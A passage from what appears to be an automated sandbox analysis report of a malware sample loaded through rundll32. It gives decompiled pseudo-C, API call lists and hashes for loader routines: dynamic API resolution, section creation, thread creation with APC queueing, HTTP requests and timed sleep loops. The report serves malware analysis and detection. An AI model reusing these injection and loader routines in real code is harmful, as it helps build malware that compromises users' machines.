						} else {
							_t36 = GetProcAddress(_t50,  *0x2c841c4 + 0x2c850b9);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x2c841c4 + 0x2c8505a);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x2c841c4 + 0x2c85052);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E02C81E76(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}












                    0x02c81150
                    0x02c81154
                    0x02c81215
                    0x02c8115a
                    0x02c81172
                    0x02c81181
                    0x02c81188
                    0x02c8118a
                    0x02c8118f
                    0x02c8120d
                    0x02c8120e
                    0x02c81191
                    0x02c8119e
                    0x02c811a0
                    0x02c811a5
                    0x00000000
                    0x02c811a7
                    0x02c811b4
                    0x02c811b6
                    0x02c811bb
                    0x00000000
                    0x02c811bd
                    0x02c811ca
                    0x02c811cc
                    0x02c811d1
                    0x00000000
                    0x02c811d3
                    0x02c811e0
                    0x02c811e2
                    0x02c811e7
                    0x00000000
                    0x02c811e9
                    0x02c811ef
                    0x02c811f5
                    0x02c811fa
                    0x02c811ff
                    0x02c81204
                    0x00000000
                    0x02c81206
                    0x02c81209
                    0x02c81209
                    0x02c81204
                    0x02c811e7
                    0x02c811d1
                    0x02c811bb
                    0x02c811a5
                    0x02c8118f
                    0x02c81223

                    APIs
                      • Part of subcall function 02C82046: RtlAllocateHeap.NTDLL(00000000,?,02C8124D,00000030,74CB63F0,00000000), ref: 02C82052
                    • GetModuleHandleA.KERNEL32(?,00000020), ref: 02C81166
                    • GetProcAddress.KERNEL32(00000000,?), ref: 02C81188
                    • GetProcAddress.KERNEL32(00000000,?), ref: 02C8119E
                    • GetProcAddress.KERNEL32(00000000,?), ref: 02C811B4
                    • GetProcAddress.KERNEL32(00000000,?), ref: 02C811CA
                    • GetProcAddress.KERNEL32(00000000,?), ref: 02C811E0
                      • Part of subcall function 02C81E76: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 02C81ED3
                      • Part of subcall function 02C81E76: memset.NTDLL ref: 02C81EF5
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
                    • String ID:
                    • API String ID: 3012371009-0
                    • Opcode ID: 0a0721ffb569d18b3ed6be2842ce655bca5a46dd44d4ba23f2dae1e0134ba8f2
                    • Instruction ID: d0abaf74e9abfba1799eabc536450fa8445561be51ea68c30e162fa73f6548b6
                    • Opcode Fuzzy Hash: 0a0721ffb569d18b3ed6be2842ce655bca5a46dd44d4ba23f2dae1e0134ba8f2
                    • Instruction Fuzzy Hash: E7216270A0060BAFD710EFA9CC84E6677ECEF44348706C665E519D7251E7B0EA05CFA1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C817EF Relevance: 9.1, APIs: 6, Instructions: 71memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 354 2c817ef-2c81803 355 2c81874-2c81881 InterlockedDecrement 354->355 356 2c81805-2c81806 354->356 358 2c818c1-2c818c8 355->358 359 2c81883-2c81889 355->359 357 2c8180c-2c81819 InterlockedIncrement 356->357 356->358 357->358 362 2c8181f-2c81833 HeapCreate 357->362 360 2c8188b 359->360 361 2c818b5-2c818bb HeapDestroy 359->361 363 2c81890-2c818a0 SleepEx 360->363 361->358 364 2c8186f-2c81872 362->364 365 2c81835-2c81866 call 2c81df6 call 2c81f97 362->365 366 2c818a9-2c818af CloseHandle 363->366 367 2c818a2-2c818a7 363->367 364->358 365->358 372 2c81868-2c8186b 365->372 366->361 367->363 367->366 372->364
                    C-Code - Quality: 86%
                    			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x2c84188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x2c8418c;
						if( *0x2c8418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x2c84198;
								if( *0x2c84198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x2c8418c);
						}
						HeapDestroy( *0x2c84190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x2c84188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						 *0x2c84190 = _t18;
						_t41 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x2c841b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E02C81F97(E02C81FF5, E02C81DF6(_a12, 1, 0x2c84198, _t41));
							 *0x2c8418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}












                    0x02c817f2
                    0x02c817fe
                    0x02c81800
                    0x02c81803
                    0x02c81879
                    0x02c8187f
                    0x02c81881
                    0x02c81883
                    0x02c81889
                    0x02c8188b
                    0x02c81890
                    0x02c81893
                    0x02c8189e
                    0x02c818a0
                    0x00000000
                    0x00000000
                    0x02c818a2
                    0x02c818a5
                    0x02c818a7
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c818a7
                    0x02c818af
                    0x02c818af
                    0x02c818bb
                    0x02c818bb
                    0x02c81805
                    0x02c81806
                    0x02c81826
                    0x02c8182c
                    0x02c81831
                    0x02c81833
                    0x02c8186f
                    0x02c8186f
                    0x02c81835
                    0x02c8183d
                    0x02c81844
                    0x02c8184e
                    0x02c8185a
                    0x02c8185f
                    0x02c81866
                    0x02c8186b
                    0x00000000
                    0x02c8186b
                    0x02c81866
                    0x02c81833
                    0x02c81806
                    0x02c818c8

                    APIs
                    • InterlockedIncrement.KERNEL32(02C84188), ref: 02C81811
                    • HeapCreate.KERNEL32(00000000,00400000,00000000), ref: 02C81826
                      • Part of subcall function 02C81F97: CreateThread.KERNEL32 ref: 02C81FAE
                      • Part of subcall function 02C81F97: QueueUserAPC.KERNEL32(?,00000000,?), ref: 02C81FC3
                      • Part of subcall function 02C81F97: GetLastError.KERNEL32(00000000), ref: 02C81FCE
                      • Part of subcall function 02C81F97: TerminateThread.KERNEL32(00000000,00000000), ref: 02C81FD8
                      • Part of subcall function 02C81F97: CloseHandle.KERNEL32(00000000), ref: 02C81FDF
                      • Part of subcall function 02C81F97: SetLastError.KERNEL32(00000000), ref: 02C81FE8
                    • InterlockedDecrement.KERNEL32(02C84188), ref: 02C81879
                    • SleepEx.KERNEL32(00000064,00000001), ref: 02C81893
                    • CloseHandle.KERNEL32 ref: 02C818AF
                    • HeapDestroy.KERNEL32 ref: 02C818BB
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
                    • String ID:
                    • API String ID: 2110400756-0
                    • Opcode ID: 34822eae8a0d3a0022ef65b9a51ef5a2b481490f0dd6b5f5a63f06dfe43ea2ee
                    • Instruction ID: eb7ebec6efb1124c83e1b9326f70e1e84985ab19d56d49ef151518c47a626ee7
                    • Opcode Fuzzy Hash: 34822eae8a0d3a0022ef65b9a51ef5a2b481490f0dd6b5f5a63f06dfe43ea2ee
                    • Instruction Fuzzy Hash: 5F21D871E40242EFD720BF69EC85B697BE8FB9575870ACA35F509E3140D7B09A11CB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C951D8 Relevance: 9.0, APIs: 6, Instructions: 45networkCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C951D8(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E02C92058(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E02C97B83(_t9, _t18, _t22, _a8); // executed
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					if(HttpSendRequestA( *(_t22 + 0x18), 0, 0xffffffff, 0, 0) != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}







                    0x02c951d8
                    0x02c951e5
                    0x02c951e7
                    0x02c9524a
                    0x00000000
                    0x02c9524a
                    0x02c951ff
                    0x02c95206
                    0x02c95212
                    0x02c95217
                    0x02c9522d
                    0x02c9523d
                    0x00000000
                    0x02c9522f
                    0x02c9522f
                    0x02c95236
                    0x02c95243
                    0x02c95243
                    0x02c95243
                    0x02c95236
                    0x02c9522d
                    0x02c95248
                    0x00000000
                    0x00000000
                    0x02c9524e

                    APIs
                    • ResetEvent.KERNEL32(?,00000008,?,?,00000102,02C921E7,?,?,74CF81D0,00000000), ref: 02C95212
                    • ResetEvent.KERNEL32(?), ref: 02C95217
                    • HttpSendRequestA.WININET(?,00000000,000000FF,00000000,00000000), ref: 02C95224
                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,02C93F34,00000000,?,?), ref: 02C9522F
                    • GetLastError.KERNEL32(?,?,00000102,02C921E7,?,?,74CF81D0,00000000), ref: 02C9524A
                      • Part of subcall function 02C92058: lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,02C951F7,?,?,?,?,00000102,02C921E7,?,?,74CF81D0), ref: 02C92064
                      • Part of subcall function 02C92058: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,02C951F7,?,?,?,?,00000102,02C921E7,?), ref: 02C920C2
                      • Part of subcall function 02C92058: lstrcpy.KERNEL32(00000000,00000000), ref: 02C920D2
                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,02C93F34,00000000,?), ref: 02C9523D
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Event$ErrorLastReset$HttpRequestSendlstrcpylstrlenmemcpy
                    • String ID:
                    • API String ID: 3739416942-0
                    • Opcode ID: 7eb82dc7f04678dc6a0192ee4e1465815ba9789684643ad74208d5817830c1ae
                    • Instruction ID: 5e3c7bb32c3d7791e2977d91c72ccd1e2ac929140b19de92286ee4f05ab80975
                    • Opcode Fuzzy Hash: 7eb82dc7f04678dc6a0192ee4e1465815ba9789684643ad74208d5817830c1ae
                    • Instruction Fuzzy Hash: 19016D71100600AADF326F61DC4CF5BBBA9FF897A4F500B29F591D10E0D731E524DA61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C81F97 Relevance: 9.0, APIs: 6, Instructions: 32threadinjectionCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C81F97(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x2c841c0, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}








                    0x02c81fae
                    0x02c81fb4
                    0x02c81fb8
                    0x02c81fc3
                    0x02c81fcb
                    0x02c81fd4
                    0x02c81fd8
                    0x02c81fdf
                    0x02c81fe6
                    0x02c81fe8
                    0x02c81fee
                    0x02c81fcb
                    0x02c81ff2

                    APIs
                    • CreateThread.KERNEL32 ref: 02C81FAE
                    • QueueUserAPC.KERNEL32(?,00000000,?), ref: 02C81FC3
                    • GetLastError.KERNEL32(00000000), ref: 02C81FCE
                    • TerminateThread.KERNEL32(00000000,00000000), ref: 02C81FD8
                    • CloseHandle.KERNEL32(00000000), ref: 02C81FDF
                    • SetLastError.KERNEL32(00000000), ref: 02C81FE8
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
                    • String ID:
                    • API String ID: 3832013932-0
                    • Opcode ID: 0bdff24e0b8361f9ec1760b6115ad994258dfe7253381f5e46b5e310bd2de942
                    • Instruction ID: 6b318c57c320ee0fb9f4658d6d31b7ae5c38a604b96172162423a94873691f29
                    • Opcode Fuzzy Hash: 0bdff24e0b8361f9ec1760b6115ad994258dfe7253381f5e46b5e310bd2de942
                    • Instruction Fuzzy Hash: ADF08932D84260FBD3115BA0AC08F5BBF55FB08F01F04DA44F60596140D72188208BE1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C92523 Relevance: 7.7, APIs: 5, Instructions: 161memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 59%
                    			E02C92523(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				intOrPtr _t32;
				void* _t33;
				CHAR* _t37;
				CHAR* _t44;
				CHAR* _t45;
				void* _t50;
				void* _t52;
				signed char _t57;
				intOrPtr _t59;
				signed int _t60;
				void* _t64;
				CHAR* _t68;
				CHAR* _t69;
				char* _t70;
				void* _t71;

				_t62 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E02C94520();
				if(_t21 != 0) {
					_t60 =  *0x2c9a2fc; // 0x4000000a
					_t56 = (_t60 & 0xf0000000) + _t21;
					 *0x2c9a2fc = (_t60 & 0xf0000000) + _t21;
				}
				_t22 =  *0x2c9a178(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E02C93037( &_v8,  &_v20); // executed
					_t55 = _t25;
					_t26 =  *0x2c9a348; // 0x278d5a8
					if( *0x2c9a2fc > 5) {
						_t8 = _t26 + 0x2c9b51d; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x2c9b9db; // 0x44283a44
						_t27 = _t7;
					}
					E02C94332(_t27, _t27);
					_t31 = E02C9415A(_t62,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t64 = 5;
					if(_t55 != _t64) {
						_t32 = E02C927A0();
						 *0x2c9a310 =  *0x2c9a310 ^ 0x81bbe65d;
						 *0x2c9a36c = _t32;
						_t33 = E02C933DC(0x60);
						 *0x2c9a3cc = _t33;
						__eflags = _t33;
						if(_t33 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t33, 0, 0x60);
							_t50 =  *0x2c9a3cc; // 0x5429600
							_t71 = _t71 + 0xc;
							__imp__(_t50 + 0x40);
							_t52 =  *0x2c9a3cc; // 0x5429600
							 *_t52 = 0x2c9b142;
						}
						_t55 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t37 = RtlAllocateHeap( *0x2c9a2d8, 0, 0x43);
							 *0x2c9a368 = _t37;
							__eflags = _t37;
							if(_t37 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t57 =  *0x2c9a2fc; // 0x4000000a
								_t62 = _t57 & 0x000000ff;
								_t59 =  *0x2c9a348; // 0x278d5a8
								_t13 = _t59 + 0x2c9b74a; // 0x697a6f4d
								_t56 = _t13;
								wsprintfA(_t37, _t13, _t57 & 0x000000ff, _t57 & 0x000000ff, 0x2c9927b);
							}
							_t55 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E02C93BD3( ~_v8 &  *0x2c9a310, 0x2c9a00c); // executed
								_t55 = E02C91D8A(0, _t56, _t62, _t64, 0x2c9a00c);
								__eflags = _t55;
								if(_t55 != 0) {
									goto L30;
								}
								_t44 = E02C96EA3(_t62);
								__eflags = _t44;
								if(_t44 != 0) {
									__eflags = _v8;
									_t68 = _v12;
									if(_v8 != 0) {
										L29:
										_t45 = E02C96815(_t62, _t68, _v8); // executed
										_t55 = _t45;
										goto L30;
									}
									__eflags = _t68;
									if(__eflags == 0) {
										goto L30;
									}
									_t55 = E02C95C31(__eflags,  &(_t68[4]));
									__eflags = _t55;
									if(_t55 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t55 = 8;
							}
						}
					} else {
						_t69 = _v12;
						if(_t69 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x2c9a17c();
							}
							goto L34;
						}
						_t70 =  &(_t69[4]);
						do {
						} while (E02C923C4(_t64, _t70, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t55 = _t22;
					L34:
					return _t55;
				}
			}































                    0x02c92523
                    0x02c9252d
                    0x02c92530
                    0x02c92533
                    0x02c92536
                    0x02c9253d
                    0x02c9253f
                    0x02c9254b
                    0x02c9254d
                    0x02c9254d
                    0x02c92556
                    0x02c9255c
                    0x02c92561
                    0x02c9257b
                    0x02c92587
                    0x02c92589
                    0x02c9258e
                    0x02c92598
                    0x02c92598
                    0x02c92590
                    0x02c92590
                    0x02c92590
                    0x02c92590
                    0x02c9259f
                    0x02c925ac
                    0x02c925b3
                    0x02c925b8
                    0x02c925b8
                    0x02c925c1
                    0x02c925c4
                    0x02c925ea
                    0x02c925ef
                    0x02c925fb
                    0x02c92600
                    0x02c92605
                    0x02c9260a
                    0x02c9260c
                    0x02c92638
                    0x02c9263a
                    0x02c9260e
                    0x02c92612
                    0x02c92617
                    0x02c9261c
                    0x02c92623
                    0x02c92629
                    0x02c9262e
                    0x02c92634
                    0x02c9263b
                    0x02c9263d
                    0x02c9263f
                    0x02c9264e
                    0x02c92654
                    0x02c92659
                    0x02c9265b
                    0x02c9268b
                    0x02c9268d
                    0x02c9265d
                    0x02c9265d
                    0x02c92663
                    0x02c92670
                    0x02c92676
                    0x02c92676
                    0x02c9267e
                    0x02c92687
                    0x02c9268e
                    0x02c92690
                    0x02c92692
                    0x02c92699
                    0x02c926a6
                    0x02c926b0
                    0x02c926b2
                    0x02c926b4
                    0x00000000
                    0x00000000
                    0x02c926b6
                    0x02c926bb
                    0x02c926bd
                    0x02c926c4
                    0x02c926c8
                    0x02c926cb
                    0x02c926e0
                    0x02c926e4
                    0x02c926e9
                    0x00000000
                    0x02c926e9
                    0x02c926cd
                    0x02c926cf
                    0x00000000
                    0x00000000
                    0x02c926da
                    0x02c926dc
                    0x02c926de
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c926de
                    0x02c926c1
                    0x02c926c1
                    0x02c92692
                    0x02c925c6
                    0x02c925c6
                    0x02c925cb
                    0x02c926eb
                    0x02c926f0
                    0x02c926f8
                    0x02c926f8
                    0x00000000
                    0x02c926f0
                    0x02c925d1
                    0x02c925d4
                    0x02c925de
                    0x02c925e5
                    0x00000000
                    0x02c92700
                    0x02c92700
                    0x02c92703
                    0x02c92707
                    0x02c92707

                    APIs
                      • Part of subcall function 02C94520: GetModuleHandleA.KERNEL32(4C44544E,00000000,02C9253B,00000001), ref: 02C9452F
                    • CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 02C925B8
                      • Part of subcall function 02C927A0: GetVersionExA.KERNEL32(?,00000042,00000000), ref: 02C927C4
                      • Part of subcall function 02C927A0: wsprintfA.USER32 ref: 02C92828
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    • memset.NTDLL ref: 02C92612
                    • RtlInitializeCriticalSection.NTDLL(054295C0), ref: 02C92623
                      • Part of subcall function 02C95C31: memset.NTDLL ref: 02C95C4B
                      • Part of subcall function 02C95C31: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 02C95C91
                      • Part of subcall function 02C95C31: StrCmpNIW.SHLWAPI(00000000,?,00000000), ref: 02C95C9C
                    • RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 02C9264E
                    • wsprintfA.USER32 ref: 02C9267E
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: AllocateHandleHeapmemsetwsprintf$CloseCriticalInitializeModuleSectionVersionlstrlen
                    • String ID:
                    • API String ID: 1825273115-0
                    • Opcode ID: 1939889ffb053b6551c23781ee52d8437403addb977d8a8929a6cafb85642d0f
                    • Instruction ID: 01d316441bd2028d9f3c53518689b9f31ff0c4455ab299d5d2a78f6eeabb58ce
                    • Opcode Fuzzy Hash: 1939889ffb053b6551c23781ee52d8437403addb977d8a8929a6cafb85642d0f
                    • Instruction Fuzzy Hash: 4951F471E81614BBDF21EBB0DC9CB6E73B8BB48704F100955E945E7140D770DA608F92
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C94358 Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(80000002), ref: 02C943B5
                    • SysAllocString.OLEAUT32(02C94D42), ref: 02C943F9
                    • SysFreeString.OLEAUT32(00000000), ref: 02C9440D
                    • SysFreeString.OLEAUT32(00000000), ref: 02C9441B
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: String$AllocFree
                    • String ID:
                    • API String ID: 344208780-0
                    • Opcode ID: 6f56d08566f7061ac3fbcbcbdf4099eaf9f6b429e3a7339948d24da8c99757d0
                    • Instruction ID: 2ab66a7213c2ebd46b6025bff217b3fbf22f27767bf3b8e334e7b863aa5bad3e
                    • Opcode Fuzzy Hash: 6f56d08566f7061ac3fbcbcbdf4099eaf9f6b429e3a7339948d24da8c99757d0
                    • Instruction Fuzzy Hash: 35311A76900249EFCF14DFA8D8C89AE7BB9FF49345B10852EF90697250D7309A82CF61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C9213E Relevance: 6.0, APIs: 4, Instructions: 44sleepthreadtimeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 65%
                    			E02C9213E(void* __ecx, intOrPtr _a4) {
				struct _FILETIME _v12;
				int _t13;
				signed int _t16;
				void* _t17;
				signed int _t18;
				unsigned int _t22;
				void* _t30;
				signed int _t34;

				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				asm("stosd");
				do {
					_t13 = SwitchToThread();
					GetSystemTimeAsFileTime( &_v12);
					_t22 = _v12.dwHighDateTime;
					_t16 = (_t22 << 0x00000020 | _v12.dwLowDateTime) >> 5;
					_push(0);
					_push(0x13);
					_push(_t22 >> 5);
					_push(_t16);
					L02C98436();
					_t34 = _t16 + _t13;
					_t17 = E02C96269(_a4, _t34);
					_t30 = _t17;
					_t18 = 3;
					Sleep(_t18 << (_t34 & 0x00000007)); // executed
				} while (_t30 == 1);
				return _t30;
			}











                    0x02c92143
                    0x02c9214e
                    0x02c9214f
                    0x02c9214f
                    0x02c9215b
                    0x02c92164
                    0x02c92167
                    0x02c9216b
                    0x02c9216d
                    0x02c92172
                    0x02c92173
                    0x02c92174
                    0x02c9217e
                    0x02c92181
                    0x02c92188
                    0x02c9218c
                    0x02c92193
                    0x02c92199
                    0x02c921a3

                    APIs
                    • SwitchToThread.KERNEL32(?,00000001,?,?,?,02C95044,?,?), ref: 02C9214F
                    • GetSystemTimeAsFileTime.KERNEL32(00000000,?,00000001,?,?,?,02C95044,?,?), ref: 02C9215B
                    • _aullrem.NTDLL(00000000,?,00000013,00000000), ref: 02C92174
                      • Part of subcall function 02C96269: memcpy.NTDLL(00000000,00000002,?,?,?,00000000,00000000), ref: 02C96308
                    • Sleep.KERNEL32(00000003,00000000,?,00000001,?,?,?,02C95044,?,?), ref: 02C92193
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Time$FileSleepSwitchSystemThread_aullremmemcpy
                    • String ID:
                    • API String ID: 1610602887-0
                    • Opcode ID: f1af1afb602a387b8c83c243fbaab91f028534593b307c503a58a406bc760196
                    • Instruction ID: 7cc413459bba8657095145300557bbffc4e1c91e181a36315ffda1abad6fcf5b
                    • Opcode Fuzzy Hash: f1af1afb602a387b8c83c243fbaab91f028534593b307c503a58a406bc760196
                    • Instruction Fuzzy Hash: 47F0A477B402047BDB149AA4CC5EBDF76B9DB84361F100629E602E7340E6B49A018A90
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C81FF5 Relevance: 6.0, APIs: 4, Instructions: 30threadCOMMON
                    Download Yara Rule
                    C-Code - Quality: 87%
                    			E02C81FF5(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E02C81226(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}







                    0x02c81ffe
                    0x02c82003
                    0x02c82011
                    0x02c82016
                    0x02c82016
                    0x02c8201c
                    0x02c82021
                    0x02c82025
                    0x02c82029
                    0x02c82029
                    0x02c82033
                    0x02c8203c

                    APIs
                    • GetCurrentThread.KERNEL32 ref: 02C81FF8
                    • SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 02C82003
                    • SetThreadPriority.KERNEL32(00000000,000000FF), ref: 02C82016
                    • SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 02C82029
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
